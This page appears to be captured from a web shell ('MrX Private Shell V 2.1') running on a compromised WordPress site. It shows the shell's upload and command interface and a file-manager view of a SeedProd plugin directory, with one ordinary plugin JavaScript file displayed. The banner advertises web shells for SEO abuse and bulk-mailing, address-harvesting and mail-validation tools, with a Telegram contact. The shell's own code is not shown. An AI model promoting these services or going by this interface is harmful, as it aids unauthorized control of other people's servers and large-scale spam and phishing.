__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
( function( window, wp ){

    var link_id = 'edit_seedprod_custom_link';

    var url_string = window.location;
    var url = new URL(url_string);
    var post_id = url.searchParams.get("post");

    var active_seedprod_btn = jQuery(".active-seed-prod-buttons").html();
    jQuery(".active-seed-prod-buttons").remove();

    var link_html = active_seedprod_btn;

    var post_ID = jQuery("#post_ID").val();
    var seedprod_template_type = jQuery("._seedprod_template_type").val();
    var seedprod_label = jQuery("._seedprod_label").val();
    var seedprod_template_edit_url = jQuery("._seedprod_template_edit_url").val();
    var seedprod_true = jQuery("._seedprod_true").val();

    var seedprod_template_edit_url_ = '';
    var admin_url = localizedVars.admin_url; 
    var seedprod_plugin_url = localizedVars.plugin_url; 

    

    

    if(seedprod_template_type=="template"){
        seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/template/${post_ID}`;
    }else{
        seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/setup/${post_ID}`;
    }

    //${seedprod_template_edit_url_}

    var seedprod_html = `
    <div class="${seedprod_true}">
        <span class="seedprod-off">
            <a href="#edit" id="edit_seedprod_custom_link" class="edit_seedprod_custom_link button button-primary button-large">
            <img src="${seedprod_plugin_url}public/svg/admin-bar-icon.svg" style="margin-right:7px; margin-top:5px"> Edit with SeedProd
            </a>
        </span>
        <span class="seedprod-on">
            <a href="#back" class="back_to_wp_editor button">Switch Back to WordPress Editor</a>
        </span>
    </div>`;

    // check if gutenberg's editor root element is present.
    var editorEl = document.getElementById( 'editor' );
    if( !editorEl ){ // do nothing if there's no gutenberg root element on page.
        return;
    }

    var unsubscribe = wp.data.subscribe( function () {
        setTimeout( function () {
            if ( !document.getElementById( link_id ) ) {
                var toolbalEl = editorEl.querySelector( '.edit-post-header-toolbar' );
                if( toolbalEl instanceof HTMLElement ){
                    toolbalEl.insertAdjacentHTML( 'beforeend', seedprod_html );
                }
            }
        }, 1 )
    } );
    // unsubscribe is a function - it's not used right now 
    // but in case you'll need to stop this link from being reappeared at any point you can just call unsubscribe();

        
    /*
    jQuery(document).ready(function(){  
        jQuery(document).on("click", '.back_to_wp_editor', function(event) { 
            
            wp.data.dispatch( 'core/block-editor' ).resetBlocks([]);
            jQuery('.block-editor-block-list__layout').show();
            jQuery(".managed_by_seedprod").hide();
            
            var ajax_url = localizedVars.ajax_url;
            var post_id =  jQuery("#post_ID").val();

            var formData = new FormData();
            formData.append('action', 'seedprod_pro_remove_post');
            formData.append('post_id', post_id);

            jQuery.ajax({ // JQuery Ajax
                type: 'POST',
                url: ajax_url, 
                data: formData,
                cache: false,
                processData : false,
                contentType: false,
                success: function(data) {
                    console.log("removed seedprod settings");
                },
            });
            

            
        }); 
    });
    */

    

} )( window, wp )

Filemanager

Name Type Size Permission Actions
animate-dynamic.js File 19.26 KB 0775
dynamic-text.js File 32.9 KB 0775
iframeResizer.contentWindow.js File 33.68 KB 0775
iframeResizer.contentWindow.min.js File 13.08 KB 0775
iframeResizer.js File 31.3 KB 0775
iframeResizer.min.js File 12.09 KB 0775
imagesloaded.pkgd.min.js File 5.46 KB 0775
img-previewer.js File 22.82 KB 0775
img-previewer.min.js File 11.01 KB 0775
isotope.pkgd.js File 89.26 KB 0775
jquery-numerator.js File 4.04 KB 0775
jquery-numerator.min.js File 1.86 KB 0775
jquery.animation.js File 4.82 KB 0775
jquery.animation.min.js File 916 B 0775
jquery.event.move.js File 14.19 KB 0775
jquery.lettering.js File 1.8 KB 0775
jquery.lettering.min.js File 685 B 0775
jquery.textillate.js File 10.93 KB 0775
jquery.textillate.min.js File 5.29 KB 0775
jquery.twentytwenty.js File 5.29 KB 0775
jquery.twentytwenty.min.js File 5.29 KB 0775
lightbox.js File 19.56 KB 0775
lightbox.min.js File 10.14 KB 0775
masonry.pkgd.js File 61.83 KB 0775
minimasonry.js File 7.32 KB 0775
sp-animateeffects.js File 31.58 KB 0775
sp-animateeffects.min.js File 10.47 KB 0775
sp-scripts.js File 74.57 KB 0775
sp-scripts.min.js File 36.58 KB 0775
toolbar.js File 3.57 KB 0775
tooltipster.bundle.min.js File 38.96 KB 0775
tsparticles.js File 289.76 KB 0775
tsparticles.min.js File 137.33 KB 0775
tubular.js File 6.81 KB 0775
xdLocalStorage.js File 4.33 KB 0775
Filemanager